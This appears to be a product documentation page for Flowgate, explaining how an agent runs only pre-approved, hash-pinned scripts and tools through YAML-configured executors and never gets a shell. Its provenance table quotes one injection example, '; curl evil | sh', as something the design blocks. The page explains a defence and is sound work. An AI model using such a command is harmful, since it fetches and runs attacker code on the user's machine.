Concept 3 of 10

Your agent composes approved building blocks. It never gets a shell.

Handing an LLM a shell is the fastest way to a prompt-injection incident. Flowgate flips it: the model can only run reusable building blocks you approved first — and it can never introduce a command of its own.

One move, many kinds of work

Each move your agent makes runs a real thing — a shell script, a CLI command, a REST call, an MCP tool, a whole sub-workflow, a packaged skill, or a handoff to a human. The slot that holds that real thing is the move's executor — the bit of config that says "when the agent takes this move, this is what actually fires." It's the same cargo test or gh pr create you'd run by hand, except you wire it in once and build a library. The model never authors the command; it just picks which legal move to take, and the executor runs.

ci.yaml
scripts:
  build.cargo.release:
    verb: build
    lifecycle: stable
    body: |
      #!/usr/bin/env bash
      set -euo pipefail
      cargo build --release --locked "$@"

workflows:
  ci:
    states:
      building:
        transitions:
          done:
            target: testing
            executor: { kind: script, subject: build.cargo.release }

A workflow is the state machine your agent walks: from building the only move out is done, and taking it runs your pinned cargo build --release before the agent lands in testing. Wire each state's moves to real commands and the machine has teeth — there's no path that skips the build. How you run flowgate decides how airtight that is.

The model can never introduce a command

There's a known, systemic flaw in MCP: a client runs a server's configured command unsanitized. Flowgate is a client that spawns processes, so it takes that responsibility — by authorizing execution by provenance: who wrote the thing that wants to run.

Who What they can run
You (hand-written config) Anything — cli, mcp, script. Your config is your trust boundary.
The model at runtime Picks transitions and fills their arguments — passed as argv, never through a shell. It can never introduce a command. No ; curl evil | sh.
Authored content (LLM-proposed) Only hash-pinned scripts + connections you declared. A raw command is rejected before publish. No new raw command, ever.

Reviewed once, pinned by hash, repeatable forever

The guarantee you actually want: the agent can't run a different script than the one you reviewed. Here's how flowgate buys that. Each script is identified by the hash of its body and pinned to the workflow when a run starts — so editing the body later is invisible to runs already in flight, and an audit replay can pull back the exact body that executed. For destructive scripts, pair the executor with a script_acknowledged guard: the workflow refuses to run until an operator has reviewed the current body. Change the body, the hash flips, and the acknowledgement is invalidated — the next run blocks until someone signs off again.

deploy.yaml
deploying:
  transitions:
    ship:
      target: deployed
      executor: { kind: script, subject: deploy.prod }
      guards:
        - kind: script_acknowledged   # review-before-execute, hash-flip-invalidated
          subject: deploy.prod

You can open up a raw command if you want to — the door's there. But the default is the opposite of "let the model do whatever it wants": a growing library of approved, hash-pinned, deterministic building blocks. Constraint is what buys you repeatability.

Concept 3 of 10

Next concept →

Skip what doesn't need a brain

Auto-run computable steps; wake the model only at real decisions.

See all concepts